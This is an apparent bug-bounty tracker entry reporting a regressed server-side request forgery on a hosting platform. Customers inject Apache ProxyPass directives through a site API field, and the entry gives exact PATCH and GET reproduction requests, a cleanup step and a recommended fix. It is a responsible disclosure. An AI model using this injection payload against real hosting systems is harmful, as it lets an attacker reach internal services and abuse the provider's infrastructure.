- Status Closed
-
Assigned To
cbay - Private
Opened by zlynv - 15.10.2026
Last edited by cbay - 15.10.2026
FS#527 - REGRESSION of FS#305 / FS#504 / FS#520: ProxyPass SSRF via //vhost_additional_directives//
REGRESSION of FS#305 / FS#504 / FS#520 : ProxyPass SSRF via vhost_additional_directives still live — fix not deployed
Severity: High (CVSS 3.1 7.5 — same as accepted FS#520 )
CVSS vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
References: FS#305 (original), FS#504 (mine, dup-closed against 305 on 28.09.2026), FS#520 (closed 06.10.2026, reported High 7.5)
Summary
This issue has now been reported in three tasks (305 → 504 → 520) while remaining fully exploitable. I re-tested on 14.10.2026: an authenticated customer can still inject an unrestricted Apache ProxyPass directive through PATCH /v1/site/{id} → vhost_additional_directives ( FS#520 already showed a free account suffices), and the platform's Apache still proxies arbitrary upstream URLs and returns the responses. No fix from any of the three tasks is deployed (or it was reverted). Per your SSRF rule I stopped testing the moment server-side fetching was re-confirmed and reverted everything immediately — I did not re-probe internal targets (that ground was already covered by FS#520 ).
Reproduction (own test site only, 14.10.2026)
Step 1 — inject (accepted, no validation):
PATCH https://api.alwaysdata.com/v1/site/1080353/ {"vhost_additional_directives":"ProxyPass /p5x http://example.org/\nProxyPassReverse /p5x http://example.org/"}
→ 204
Step 2 — confirm stored:
GET https://api.alwaysdata.com/v1/site/1080353/
→
"vhost_additional_directives": "ProxyPass /p5x http://example.org/..."
Step 3 — trigger (server-side fetch, response returned to attacker):
GET https://docs.alwaysdata.net/p5x
→ 200, 577 bytes, body begins
<!doctype html><html lang=en>...<title>Example Domain</title>
— content fetched by alwaysdata's server from example.org and served back, exactly the FS#520 PoC.
Step 4 — immediate cleanup (same session):
PATCH ... {"vhost_additional_directives":""}
→ 204; after reload:
GET /p5x
→ 404, directives field empty, site homepage 200. No artifacts remain.
Impact
Identical to accepted FS#520 : any authenticated customer (free account suffices) can make alwaysdata's server infrastructure issue HTTP requests to arbitrary URLs and read the responses — SSRF with response readout, usable for internal-service reach, IP-reputation abuse, and network mapping. The only thing that changed since FS#520 is that the issue was marked closed while remaining exploitable.
Recommended fix
Same as FS#520 (allowlist of safe directive prefixes; reject Proxy*/RewriteRule-external/Alias-outside-home/Include/LoadModule) — plus a deployment check: add a post-deploy acceptance test that PATCHes a ProxyPass directive and asserts rejection, because the current fix demonstrably did not reach (or did not stick on) the web tier.
Cleanup
Fully reverted and verified (directives empty, probe path 404, homepage 200). No accounts, jobs, services, files, or other customers touched.
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task